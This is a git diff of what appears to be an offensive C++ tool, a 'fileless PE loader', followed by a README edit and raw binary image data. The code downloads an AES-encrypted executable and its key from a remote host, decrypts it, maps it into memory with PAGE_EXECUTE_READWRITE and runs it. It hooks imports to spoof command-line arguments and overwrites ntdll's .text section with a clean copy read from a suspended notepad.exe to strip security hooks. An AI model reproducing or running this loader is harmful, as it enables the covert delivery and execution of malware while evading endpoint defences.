shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) { + HCRYPTPROV hProv; + HCRYPTHASH hHash; + HCRYPTKEY hKey; + + if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { + printf("Failed in CryptAcquireContextW (%u)\n", GetLastError()); + return; + } + if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) { + printf("Failed in CryptCreateHash (%u)\n", GetLastError()); + return; + } + if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) { + printf("Failed in CryptHashData (%u)\n", GetLastError()); + return; + } + if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) { + printf("Failed in CryptDeriveKey (%u)\n", GetLastError()); + return; + } + + if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen)) { + printf("Failed in CryptDecrypt (%u)\n", GetLastError()); + return; + } + + CryptReleaseContext(hProv, 0); + CryptDestroyHash(hHash); + CryptDestroyKey(hKey); +} + +DATA GetData(wchar_t* whost, DWORD port, wchar_t* wresource) { + + DATA data; + std::vector buffer; + DWORD dwSize = 0; + DWORD dwDownloaded = 0; + LPSTR pszOutBuffer = NULL; + BOOL bResults = FALSE; + HINTERNET hSession = NULL, + hConnect = NULL, + hRequest = NULL; + // Use WinHttpOpen to obtain a session handle. + hSession = WinHttpOpen(L"WinHTTP Example/1.0", + WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, + WINHTTP_NO_PROXY_NAME, + WINHTTP_NO_PROXY_BYPASS, 0); + + + // Specify an HTTP server. + if (hSession) + hConnect = WinHttpConnect(hSession, whost, + port, 0); + else + printf("Failed in WinHttpConnect (%u)\n", GetLastError()); + + // Create an HTTP request handle. + if (hConnect) + hRequest = WinHttpOpenRequest(hConnect, L"GET", wresource, + NULL, WINHTTP_NO_REFERER, + WINHTTP_DEFAULT_ACCEPT_TYPES, + NULL); + else + printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError()); + + // Send a request. + if (hRequest) + bResults = WinHttpSendRequest(hRequest, + WINHTTP_NO_ADDITIONAL_HEADERS, + 0, WINHTTP_NO_REQUEST_DATA, 0, + 0, 0); + else + printf("Failed in WinHttpSendRequest (%u)\n", GetLastError()); + + // End the request. + if (bResults) + bResults = WinHttpReceiveResponse(hRequest, NULL); + else printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError()); + + // Keep checking for data until there is nothing left. + if (bResults) + do + { + // Check for available data. + dwSize = 0; + if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) + printf("Error %u in WinHttpQueryDataAvailable (%u)\n", GetLastError()); + + // Allocate space for the buffer. + pszOutBuffer = new char[dwSize + 1]; + if (!pszOutBuffer) + { + printf("Out of memory\n"); + dwSize = 0; + } + else + { + // Read the Data. + ZeroMemory(pszOutBuffer, dwSize + 1); + + if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, + dwSize, &dwDownloaded)) + printf("Error %u in WinHttpReadData.\n", GetLastError()); + else { + + buffer.insert(buffer.end(), pszOutBuffer, pszOutBuffer + dwDownloaded); + + } + delete[] pszOutBuffer; + } + + } while (dwSize > 0); + + if (buffer.empty() == TRUE) + { + printf("Failed in retrieving the Shellcode"); + } + + // Report any errors. + if (!bResults) + printf("Error %d has occurred.\n", GetLastError()); + + // Close any open handles. + if (hRequest) WinHttpCloseHandle(hRequest); + if (hConnect) WinHttpCloseHandle(hConnect); + if (hSession) WinHttpCloseHandle(hSession); + + size_t size = buffer.size(); + + char* bufdata = (char*)malloc(size); + for (int i = 0; i < buffer.size(); i++) { + bufdata[i] = buffer[i]; + } + data.data = bufdata; + data.len = size; + return data; +} + +//cmdline args vars +BOOL hijackCmdline = FALSE; +char* sz_masqCmd_Ansi = NULL; +char* sz_masqCmd_ArgvAnsi[100]; +wchar_t* sz_masqCmd_Widh = NULL; +wchar_t* sz_masqCmd_ArgvWidh[100]; +wchar_t** poi_masqArgvW = NULL; +char** poi_masqArgvA = NULL; +int int_masqCmd_Argc = 0; +struct MemAddrs* pMemAddrs = NULL; +DWORD dwTimeout = 0; + +//PE vars +BYTE* pImageBase = NULL; +IMAGE_NT_HEADERS* ntHeader = NULL; + +//-------------All of these functions are custom-defined versions of functions we hook in the PE's IAT------------- + +LPWSTR hookGetCommandLineW() +{ + return sz_masqCmd_Widh; +} + +LPSTR hookGetCommandLineA() +{ + return sz_masqCmd_Ansi; +} + +char*** __cdecl hook__p___argv(void) +{ + return &poi_masqArgvA; +} + +wchar_t*** __cdecl hook__p___wargv(void) +{ + + return &poi_masqArgvW; +} + +int* __cdecl hook__p___argc(void) +{ + return &int_masqCmd_Argc; +} + +int hook__wgetmainargs(int* _Argc, wchar_t*** _Argv, wchar_t*** _Env, int _useless_, void* _useless) +{ + *_Argc = int_masqCmd_Argc; + *_Argv = poi_masqArgvW; + + return 0; +} + +int hook__getmainargs(int* _Argc, char*** _Argv, char*** _Env, int _useless_, void* _useless) +{ + *_Argc = int_masqCmd_Argc; + *_Argv = poi_masqArgvA; + + return 0; +} + +_onexit_t __cdecl hook_onexit(_onexit_t function) +{ + return 0; +} + +int __cdecl hookatexit(void(__cdecl* func)(void)) +{ + return 0; +} + +int __cdecl hookexit(int status) +{ + //_cexit() causes cmd.exe to break for reasons unknown... + ExitThread(0); + return 0; +} + +void __stdcall hookExitProcess(UINT statuscode) +{ + ExitThread(0); +} +void masqueradeCmdline() +{ + //Convert cmdline to widestring + int required_size = MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, NULL, 0); + sz_masqCmd_Widh = (wchar_t*)calloc(required_size + 1, sizeof(wchar_t)); + MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, sz_masqCmd_Widh, required_size); + + //Create widestring array of pointers + poi_masqArgvW = CommandLineToArgvW(sz_masqCmd_Widh, &int_masqCmd_Argc); + + //Manual function equivalent for CommandLineToArgvA + int retval; + int memsize = int_masqCmd_Argc * sizeof(LPSTR); + for (int i = 0; i < int_masqCmd_Argc; ++i) + { + retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, NULL, 0, NULL, NULL); + memsize += retval; + } + + poi_masqArgvA = (LPSTR*)LocalAlloc(LMEM_FIXED, memsize); + + int bufLen = memsize - int_masqCmd_Argc * sizeof(LPSTR); + LPSTR buffer = ((LPSTR)poi_masqArgvA) + int_masqCmd_Argc * sizeof(LPSTR); + for (int i = 0; i < int_masqCmd_Argc; ++i) + { + retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, buffer, bufLen, NULL, NULL); + poi_masqArgvA[i] = buffer; + buffer += retval; + bufLen -= retval; + } + + hijackCmdline = TRUE; +} + +//This array is created manually since CommandLineToArgvA doesn't exist, so manually freeing each item in array +void freeargvA(char** array, int Argc) +{ + //Wipe cmdline args from beacon memory + for (int i = 0; i < Argc; i++) + { + memset(array[i], 0, strlen(array[i])); + } + LocalFree(array); +} + +//This array is returned from CommandLineToArgvW so using LocalFree as per MSDN +void freeargvW(wchar_t** array, int Argc) +{ + //Wipe cmdline args from beacon memory + for (int i = 0; i < Argc; i++) + { + memset(array[i], 0, wcslen(array[i]) * 2); + } + LocalFree(array); +} + +char* GetNTHeaders(char* pe_buffer) +{ + if (pe_buffer == NULL) return NULL; + + IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)pe_buffer; + if (idh->e_magic != IMAGE_DOS_SIGNATURE) { + return NULL; + } + const LONG kMaxOffset = 1024; + LONG pe_offset = idh->e_lfanew; + if (pe_offset > kMaxOffset) return NULL; + IMAGE_NT_HEADERS32* inh = (IMAGE_NT_HEADERS32*)((char*)pe_buffer + pe_offset); + if (inh->Signature != IMAGE_NT_SIGNATURE) return NULL; + return (char*)inh; +} + +IMAGE_DATA_DIRECTORY* GetPEDirectory(PVOID pe_buffer, size_t dir_id) +{ + if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL; + + char* nt_headers = GetNTHeaders((char*)pe_buffer); + if (nt_headers == NULL) return NULL; + + IMAGE_DATA_DIRECTORY* peDir = NULL; + + IMAGE_NT_HEADERS* nt_header = (IMAGE_NT_HEADERS*)nt_headers; + peDir = &(nt_header->OptionalHeader.DataDirectory[dir_id]); + + if (peDir->VirtualAddress == NULL) { + return NULL; + } + return peDir; +} + +bool RepairIAT(PVOID modulePtr) +{ + IMAGE_DATA_DIRECTORY* importsDir = GetPEDirectory(modulePtr, IMAGE_DIRECTORY_ENTRY_IMPORT); + if (importsDir == NULL) return false; + + size_t maxSize = importsDir->Size; + size_t impAddr = importsDir->VirtualAddress; + + IMAGE_IMPORT_DESCRIPTOR* lib_desc = NULL; + size_t parsedSize = 0; + + for (; parsedSize < maxSize; parsedSize += sizeof(IMAGE_IMPORT_DESCRIPTOR)) { + lib_desc = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize + (ULONG_PTR)modulePtr); + + if (lib_desc->OriginalFirstThunk == NULL && lib_desc->FirstThunk == NULL) break; + LPSTR lib_name = (LPSTR)((ULONGLONG)modulePtr + lib_desc->Name); + + size_t call_via = lib_desc->FirstThunk; + size_t thunk_addr = lib_desc->OriginalFirstThunk; + if (thunk_addr == NULL) thunk_addr = lib_desc->FirstThunk; + + size_t offsetField = 0; + size_t offsetThunk = 0; + while (true) + { + IMAGE_THUNK_DATA* fieldThunk = (IMAGE_THUNK_DATA*)(size_t(modulePtr) + offsetField + call_via); + IMAGE_THUNK_DATA* orginThunk = (IMAGE_THUNK_DATA*)(size_t(modulePtr) + offsetThunk + thunk_addr); + + if (orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32 || orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) // check if using ordinal (both x86 && x64) + { + size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), (char*)(orginThunk->u1.Ordinal & 0xFFFF)); + fieldThunk->u1.Function = addr; + } + + if (fieldThunk->u1.Function == NULL) break; + + if (fieldThunk->u1.Function == orginThunk->u1.Function) { + + PIMAGE_IMPORT_BY_NAME by_name = (PIMAGE_IMPORT_BY_NAME)((size_t)(modulePtr)+orginThunk->u1.AddressOfData); + LPSTR func_name = (LPSTR)by_name->Name; + + size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), func_name); + + + if (hijackCmdline && _stricmp(func_name, "GetCommandLineA") == 0) + { + fieldThunk->u1.Function = (size_t)hookGetCommandLineA; + } + else if (hijackCmdline && _stricmp(func_name, "GetCommandLineW") == 0) + { + fieldThunk->u1.Function = (size_t)hookGetCommandLineW; + } + else if (hijackCmdline && _stricmp(func_name, "__wgetmainargs") == 0) + { + fieldThunk->u1.Function = (size_t)hook__wgetmainargs; + } + else if (hijackCmdline && _stricmp(func_name, "__getmainargs") == 0) + { + fieldThunk->u1.Function = (size_t)hook__getmainargs; + } + else if (hijackCmdline && _stricmp(func_name, "__p___argv") == 0) + { + fieldThunk->u1.Function = (size_t)hook__p___argv; + } + else if (hijackCmdline && _stricmp(func_name, "__p___wargv") == 0) + { + fieldThunk->u1.Function = (size_t)hook__p___wargv; + } + else if (hijackCmdline && _stricmp(func_name, "__p___argc") == 0) + { + fieldThunk->u1.Function = (size_t)hook__p___argc; + } + else if (hijackCmdline && (_stricmp(func_name, "exit") == 0 || _stricmp(func_name, "_Exit") == 0 || _stricmp(func_name, "_exit") == 0 || _stricmp(func_name, "quick_exit") == 0)) + { + fieldThunk->u1.Function = (size_t)hookexit; + } + else if (hijackCmdline && _stricmp(func_name, "ExitProcess") == 0) + { + fieldThunk->u1.Function = (size_t)hookExitProcess; + } + else + fieldThunk->u1.Function = addr; + + } + offsetField += sizeof(IMAGE_THUNK_DATA); + offsetThunk += sizeof(IMAGE_THUNK_DATA); + } + } + return true; +} + +void PELoader(char* data, DWORD datasize) +{ + masqueradeCmdline(); + + unsigned int chksum = 0; + for (long long i = 0; i < datasize; i++) { chksum = data[i] * i + chksum / 3; }; + + BYTE* pImageBase = NULL; + LPVOID preferAddr = 0; + DWORD OldProtect = 0; + + IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)GetNTHeaders(data); + if (!ntHeader) { + exit(0); + } + + IMAGE_DATA_DIRECTORY* relocDir = GetPEDirectory(data, IMAGE_DIRECTORY_ENTRY_BASERELOC); + preferAddr = (LPVOID)ntHeader->OptionalHeader.ImageBase; + + + HMODULE dll = LoadLibraryA("ntdll.dll"); + ((int(WINAPI*)(HANDLE, PVOID))GetProcAddress(dll, "NtUnmapViewOfSection"))((HANDLE)-1, (LPVOID)ntHeader->OptionalHeader.ImageBase); + + pImageBase = (BYTE*)VirtualAlloc(preferAddr, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!pImageBase) { + if (!relocDir) { + exit(0); + } + else { + pImageBase = (BYTE*)VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!pImageBase) + { + exit(0); + } + } + } + + // FILL the memory block with PEdata + ntHeader->OptionalHeader.ImageBase = (size_t)pImageBase; + memcpy(pImageBase, data, ntHeader->OptionalHeader.SizeOfHeaders); + + IMAGE_SECTION_HEADER* SectionHeaderArr = (IMAGE_SECTION_HEADER*)(size_t(ntHeader) + sizeof(IMAGE_NT_HEADERS)); + for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) + { + memcpy(LPVOID(size_t(pImageBase) + SectionHeaderArr[i].VirtualAddress), LPVOID(size_t(data) + SectionHeaderArr[i].PointerToRawData), SectionHeaderArr[i].SizeOfRawData); + } + + // Fix the PE Import addr table + RepairIAT(pImageBase); + + // AddressOfEntryPoint + size_t retAddr = (size_t)(pImageBase)+ntHeader->OptionalHeader.AddressOfEntryPoint; + + EnumThreadWindows(0, (WNDENUMPROC)retAddr, 0); +} + +LPVOID getNtdll() { + LPVOID pntdll = NULL; + + //Create our suspended process + STARTUPINFOA si; + PROCESS_INFORMATION pi; + ZeroMemory(&si, sizeof(si)); + ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); + CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); + + if (!pi.hProcess) + { + printf("[-] Error creating process\r\n"); + return NULL; + } + + //Get base address of NTDLL + HANDLE process = GetCurrentProcess(); + MODULEINFO mi; + HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); + GetModuleInformation(process, ntdllModule, &mi, sizeof(mi)); + + pntdll = HeapAlloc(GetProcessHeap(), 0, mi.SizeOfImage); + SIZE_T dwRead; + BOOL bSuccess = ReadProcessMemory(pi.hProcess, (LPCVOID)mi.lpBaseOfDll, pntdll, mi.SizeOfImage, &dwRead); + if (!bSuccess) { + printf("Failed in reading ntdll (%u)\n", GetLastError()); + return NULL; + } + + TerminateProcess(pi.hProcess, 0); + return pntdll; +} + +BOOL Unhook(LPVOID cleanNtdll) { + + char nt[] = { 'n','t','d','l','l','.','d','l','l', 0 }; + + HANDLE hNtdll = GetModuleHandleA(nt); + DWORD oldprotect = 0; + PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)cleanNtdll; + PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((DWORD64)cleanNtdll + DOSheader->e_lfanew); + int i; + + // find .text section + for (i = 0; i < NTheader->FileHeader.NumberOfSections; i++) { + PIMAGE_SECTION_HEADER sectionHdr = (PIMAGE_SECTION_HEADER)((DWORD64)IMAGE_FIRST_SECTION(NTheader) + ((DWORD64)IMAGE_SIZEOF_SECTION_HEADER * i)); + + char txt[] = { '.','t','e','x','t', 0 }; + + if (!strcmp((char*)sectionHdr->Name, txt)) { + + // prepare ntdll.dll memory region for write permissions. + BOOL ProtectStatus1 = VirtualProtect((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress), + sectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect); + if (!ProtectStatus1) { + printf("Failed to change the protection (%u)\n", GetLastError()); + return FALSE; + } + + // copy .text section from the mapped ntdll to the hooked one + memcpy((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress), (LPVOID)((DWORD64)cleanNtdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize); + + + // restore original protection settings of ntdll + BOOL ProtectStatus2 = VirtualProtect((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress), + sectionHdr->Misc.VirtualSize, oldprotect, &oldprotect); + if (!ProtectStatus2) { + printf("Failed to change the protection back (%u)\n", GetLastError()); + return FALSE; + } + + } + } + return TRUE; +} + +int main(int argc, char** argv) { + if (argc != 5) { + printf("[+] Usage: %s \n", argv[0]); + return 1; + } + + char* host = argv[1]; + + DWORD port = atoi(argv[2]); + + char* pe = argv[3]; + + char* key = argv[4]; + + const size_t cSize1 = strlen(host) + 1; + wchar_t* whost = new wchar_t[cSize1]; + mbstowcs(whost, host, cSize1); + + const size_t cSize2 = strlen(pe) + 1; + wchar_t* wpe = new wchar_t[cSize2]; + mbstowcs(wpe, pe, cSize2); + + const size_t cSize3 = strlen(key) + 1; + wchar_t* wkey = new wchar_t[cSize3]; + mbstowcs(wkey, key, cSize3); + + printf("\n\n[+] Get AES Encrypted PE from %s:%d\n", host, port); + DATA PE = GetData(whost, port, wpe); + if (!PE.data) { + printf("[-] Failed in getting AES Encrypted PE\n"); + return -1; + } + + printf("\n[+] Get AES Key from %s:%d\n", host, port); + DATA keyData = GetData(whost, port, wkey); + if (!keyData.data) { + printf("[-] Failed in getting key\n"); + return -2; + } + printf("\n[+] AES PE Address : %p\n", PE.data); + printf("\n[+] AES Key Address : %p\n", keyData.data); + + printf("\n[+] Decrypt the PE \n"); + DecryptAES((char*)PE.data, PE.len, (char*)keyData.data, keyData.len); + printf("\n[+] PE Decrypted\n"); + + // Fixing command line + sz_masqCmd_Ansi = (char*)"whatEver"; + + printf("\n[+] Loading and Running PE\n"); + PELoader((char*)PE.data, PE.len); + + printf("\n[+] Finished\n"); + + return 0; +} diff --git a/README.md b/README.md index 5bc0482..8c607a9 100644 --- a/README.md +++ b/README.md @@ -2,6 +2,9 @@ Loading Remote AES Encrypted PE in memory , Decrypted it and run it +### Building + +Run build.bat if you are building it first time, then you can build it after changes from **VS** command prompt. ### Usage : ![CipherKey](https://raw.githubusercontent.com/illegal-instruction-co/FilelessPELoader/main/assets/1.png) diff --git a/assets/1.png b/assets/1.png new file mode 100644 index 0000000000000000000000000000000000000000..54904e6369065660be5517be1300d2b05b068fb1 GIT binary patch literal 68106 zcmb^Ybx<5z_Xdn6xVsGQZZo*MB|w4%f|Fs;1P#H0CDx)0)m@w2-D~f)*7L0ObfoSx4MIFxyho275kApW)qnH|1M=w6 z<5e6i)D2{NV%Iw+n}~{OEn31+iFAy&9%77%$L+t=wZ1R%vve{#c?8 z2dSbCBLYbN6c5hsIlgr_Q+S>?vm~cc6TL4t1*zB@$cwpe#%8UO=hT9s_{4IdL(p5d zc3m(%k3M~ttPzn2-?UP2$Hb9MzCOeYq=0Oe3+1y*!B0W_kjAt9in|{>Ry2Ya!vu== zMW6R06F2QjEsNNfr`qnL5`N60hu7<)m>7<0we;cf2jn@&u7w1X9GwPtN&v~>dkSsh zm4IQRXS;UFXTvHFMc+dMaF;sQ&c> zIQ@IJgoGQ*ZBWWIv3jHa9Cj!ATe@Z=ZRk%RWQ}s z)0IY1QJ-Rx^JMPmFO+ZcbcPjGiFbNNRscx!K|!asCh3_t!uI^|4JrOR3M#{!V&Qjddup!uF| z@rqJNEXWP|r?Hul1@8U3{>pPy0^KD@oRrk-z`JVE6%3oaAp<>LaGkS+xbOc z$@LtTi$OEymb0fX4=oS4k!R<|KE}t*GG^zD+Rjc}U&&)(S5TyJ2vKi}SD5KrqIt%H z)m#A+(gVBdu78}F@dW_{%{piAHhm085lA3^LWCB=xQpv&c>nseOqa%EFsWxd zAedXzP%bG=RoyCsE^h_=8Wk#~L|4L` zRy@ecSkMxOiEBu?0E9Hph}X=mxN8A2R-1CPee8MZcH=#JvZLoODLsyzQ@yi;M47O6 z?%`}?V`BhQhkixhlv(O$u2{HhBhJ?=r=E)6p&-G1EnS83&xN#&A+DJ^UUwE_UOfqr zgy-)sfR?YRGNE9CY?*6m(Oe$FA`J7~+s~n{{AC;xlFj-+W)KOlxQP=#i zqmtCHh%{#Z2d+$Iu5oBGN8x3Y^N42THA@uDHZ@j%~6lAlw0d42_@K9%MivR3WV z?_UzXlkbJ{0wRCD0Xu~8rrPma5r&i%kM$*Ha#&6y4FP%j$Til_mLRo5yPvNX+!6iu z&Ymu1%;9{U4pv6;4MSI~w!r+)fT_@IEl0Bt?j;VGwQspv58YA!h{;m$-dWb9hL;n6 z#=~fCz~@|jz6FrVmLco%Xef>0te3lneF>X8p|VDNhl~ldDaFE1j#**-XJ=#i z)&m!F>ml0d@^9F#BV+suj-UFw>$FwEHNe_#tZDD)K8}wL_hei}gMya*wX4X7y|&T)o|AG>#B0 zpq!YB0p0UmbxT)PMasg)ty)605*X#Yi3L@guL1yn13jtlekTzmI8&+7Jz|1Vwce$| z9Kj=IN10gV#3pUk%DWPC6EdFb@3@AJfZbsO_>8!P*`xU%l@+RgLf1)9QWpi z>(kZ+u$|wKQow_t`7IM7^yT}Z`AN+$Ow)!VJ*5Wv?p5hr$8sO5)%6B!{Rd{i+7zZ8 zUKHLHd#dOzccR24m7jNwdh^yUFRE`^YpH{6MHGWh_`TZ1h-kogy;#IO>W(4OH(c7! zpDCwMd#~ibyNs-+Ih{FLXpYpRrX8M;MuR$qIAu;}h%aH5Z?C&NPck1H-7Eo$4Fxuw3CNW zAOpUC&!OG{67%3`W`rIBPzA+rd;4@hmE9 zSVbxvl;faVLJ^qK+8{~rT7{#c-2R2~6`52hvv?6xNvM$^`WG}tM5wl6H^z}vpQ=st zZK_0n0~p3@M|D5)Zs=Q>CmuBvyWJsO4+hR_5qo ziI9Q<)eXM$*3a+#vMLqNE%3xad;PLUyuYqRw-^{0bP3KlHQ4rjfwM3;2&ZpCS>6GQ z*{Qa%_Qp`vdppM*QRGj92xSY{XPGs^75}~Osx`){TT;$V-*3 z>L3zuldE*f`hYc|o*MvwEQN+&?d>#rP1Z<+A@`Yl3hJD@44%UQ@VYqAj|xkMOiN;! zCOnA0n@)f}^o0vN6{t$M5LI@*;m(C$6n7h?(($$Xs^egOzv>>ZKIVxBB%vGnfWORxy$alpBqjd?Ogz>2a%RR zpZD0;i(+|ujjBVCj1KQxq4)`J5dSWYJ&G7~>g1Hn^w(VnWIIn;_-3_iUxe2q$p>y0 zryp%CxF!pob?EJ+>3i3oo{%F3HUu_>#d~; zWk7Yx57beV31K`NQHJln%^Q$N8>**h$ zznjVYgt(%&9Ur10LPAam^!ycq`pY+U*?0Ce-~3<|L^}Hb6>T{ST(n)VnIl1R!u{u?E(CwI@9u5sy3Dirh{gV-*`Kf3IZt2nm zurfEWnqo;@0CM65%-G_357yJ%&xQ3zCRAG*5EIJ8A{Gg6+%8w$BRsei4}Z58r+4t) z$S*ESk?KVXrG>N7-1n^aiyVc44EhnoqeW~!KcIcz*4ZR#Y#S4sKDH7<2pXzwRSjTw zw^qpgRIBDY^g>a*2K>-}GgcFP2j!yIC0o!WEoHV*N%}szpsQ@6Eg%etVY3T_f_|~E zPn-Y|sv%oZayH$JOv&T*&$xvL!WrzJ@U2_7$a2bvoz9t>mb zQQeURWx5f(6r`+(uzLniUW9_q^G}XbFPUL_-pZTR9iba4KF|D!4BKbY!gVzoybSm- zFq+@BT_P_*v5I-(uWi62EC!@AD+t2B$d72TrG zi11dS?fAg}06A=$k`H1x_cV6EP^D%57}uYeN+|Mf`hq9ad2J`#9tT z7Q$bY5eg#YP3f$fo>5h+o{m}jhJIV;@UlRfGo|9gORbciWBs_*pg6hMm>#FLud2sL z`*S=W0NXi?=99{3YJ^FI=m_6xthQ>tgjYFy00p@;g<3uJ$$S7VD=j5D=8Fb5$*)8A zM!Zw$T_r9e>M7S5lM2|zzWU%h3y@dvhJx&kP7_8aa~z{+{PvV%26x7^Sf&n50INr5 zy1(54tI=<^^KMxGx(0pZ_rT8tT*A&+cO8=7z44b*#i%SM>3Bx_S71dK91bMYPZ3XS zA8yG^Wxp>`e6V?d(KuQh4jim-iTu9q9cA8XTB=?Kz4XBMWk4+U+&5KZM`lG;IXM!z z1WI8ZRanBo|CU1-k1PNp?*-7{WTYge?1YbzC3sbS%EfH_CP>fc?1}|-ce;igl@ecX zx>ay0T+>H8MV^AS_4vzPzhTxetoj(aR`yE&s&vzNFOoF$6UU!k3&C5-W*N~j72u(s zZS>w5TuTQ$^}b#Tk`cy+DG0+=xdUYlt^>v` zjN{~yPi=>%B2y3RT0x~9&7=YJ!Qt-#?ZfjkKN@LVT;Q*?o@04;0ditV7xuOr?`Xnj zl0SovbO4FbJ2~BxKm_&7)XNJs&I|I((%h`Bfz_vFQePzC7B&nwLrWsjkh3?jP|xHE5kQ4>b%Ri=^E)Cr`NJ;LdiG4PRr$wAB!Wtop;Wi14;ws$ zOj%H=c-EP3(cq+#e1C@qF&jk?CsYys!`*T-t^{E;XX3RN3&bVYTEk^LU)7A2Yu|pM zN1>;c_+(Bg@!Gmnlsz_%;cH|4$VS~$KW+KZe##Dg!0TPl)oAHIt+y4T>>b5TB> z#kBKJ{Wc{-K_7974e-l2R1%+kE)G{uxV|;y<>$7Zv%=7#{5UWCCOZA*jt*cVT z=S2Hg(Khr{|Jhe=7OZ_J85%b#ET(KGY9N@%)(b>bH0huP0|$mJ1wwW?5n_T_&iosH zO}S08YDLG#{&8@>7u^XSmDB}5o?RzDMHZj6;jQLH)#s>m{v1GN`(|A>y>Bv?pC9T6 z794J`)x11!N-`=W3(H+w?Qzr7e^$P#*#8t@Y!L!@&_&+E?d_u| z(23aAS`G(+BWQ0+Y)dPAh1+3#RwBpbu{1DvdE4rI? zzXJe?gQ&f_nhBC`ENpKU5?&4iaUvu701;2BoPKOT1y>3!-;WBUKW;WS$W2#{D_Z=O z!hO2nHZ1L=<&88bzZ;k`;PN{#XLn#7zmG9MjM_D}Gn7eK)_fkm5Bz*WS?G`QzN6Rn zka(Mnj*WV;n9g4^%bm?4^~3}J;U{7*RADP7zNiW(ri;J(lyPg$D!1Y-9U?T>kEi#_ zQoRZEYjBN~a%^BW{z8r6tu^38%>@oX`cDi}H3;@(m=t3annG>EvXzD()fR&jUi2Qn z2hx7AA{Q&8vB7hDL8~q3vh{TZYNa)!m*F=1F&fvuMJrtGi!4m+`~*>qcBrp+RoDEY zR(5`%GI;~6y?}rwkwo7vyxc16~ zP1_vT@w-J_EP33|Zm`49TvpE&tpwT_O9O8_uX3@=v%U2 zDqF4JwN0_w3Xa8z=qR^5w5Tv3KbRY4@VG(>`{;{j4BY!11Y_5~LNW9-)&mN&RBkXq|wa&*s1|m71%W;ytTk#>vepPU(CwvQsqcebC zV_!*l2+p_y*{t501`(!*OC+E`iQR9ytqF-Sww*juoVp}E9LPw=(#z>SA_q~z78_51 z8)QLJRdc|2kaGy(Vsh_J-680(aZZxAXhn>PqMhxHh4QF9f5pr+*h(q?JD=nz=c;!a;4;*hB_-!tU zCPUk=J3iTdjaP@}X*EkeEME%4NYBMG+h@ebYwoe`n_uJG{|})&CWc^q5@LNDEcs%K zzH2fud5{}VP4g>r_w;$M);U=Fh*z^hV3+*7_Y&GiOQByX{j+Ag5*bvZNkdRZV@;qi z<%tH&u_0|)rdO+07M7|;!4|!rh^NpWE1;p$a^?3rguPnao6Vhac1tZjKGuce8I#* zW6xhR_xCsxtYo~#@PNKkGPig_{575vaQ(5hH)d93o#7@EWVxL3gG&J+w$((};I#Yo z=a7$_=+bhJ@7$A!bc;A%PqNI^W{Rrz^X56;-CKjec$OPLJ%8OUb?Y(xyoRZK6^fEw zW^xU8GTzu04blCVX+SVs2iT9yAX-1HZlVB6TKhyMX}nwMcOxYJSuTxPzj zIn3e{?iz$KAskz$^eWT z{6Q|X`Xe|~+_Yl(TEK4c_S6sQmND%S;$JC-3wMSx6vMmWDr@E3REFLXmr)`0I|p6f zRz87QCb$({Bx$XmZh)M{lMim@^9#S%Er)a+bY-YRrlW}l{lGZsN zF(^m^zkec#nxYG^YB#pJUdMmy(dz<;uHG7{RH_0#VbI^k^0{6u>yl|&erLa|;@u+M z+QI1cmK1UMC+#|)NXl?X(#c(0ls%mYO6?gh=dqoSJNxb#S5pwyrmH=2v0uUMvVpwO z$D;Z9Vz(4zS?Ohq6r{CHXuIBZB{g6c#VQ2gJ73Q2TM1f7&AK?6!q4tFa^mads2J;o zlHi})unp+UMkYN`;np$si-N6;|4dH|m;hD0)EfaHB3SKNtutn2ezUTg)$0ka{-6fK z6bm{dG@@s90A;)8s$U-X8;XV;yfjVS-kquE{&r zRT5=;tS$%#c#^5RH0U_-iuVaQ1ESoXLya)&x-Tm>kYnxMvjmNvPUu+k!~*U(kWj3a zWzdHjr|_1d>h*rrBDp`R+oyAvM$Pv%6LyV}OCo6tnNn63#3kloAT-yilB(_aNcF+6 z4oM8z37v~x;o4d(X>i1T4S|B)JhtG7II`XTF7)c_u93lUX8^8)B>As?*O1gruy2ay zYM|k%&2CbhB$)yMRUNGQXW|SPR;{oWhTdn?X#8*M`7Hv7;Ktjgvic(5d%1+76xTa> zZ{+bHs-?{Dcwb`ulG^h8wDl4rE2T8ts4^HARVW~}Y{Od?;w7YG_mq2q(?KB=9r-iZ 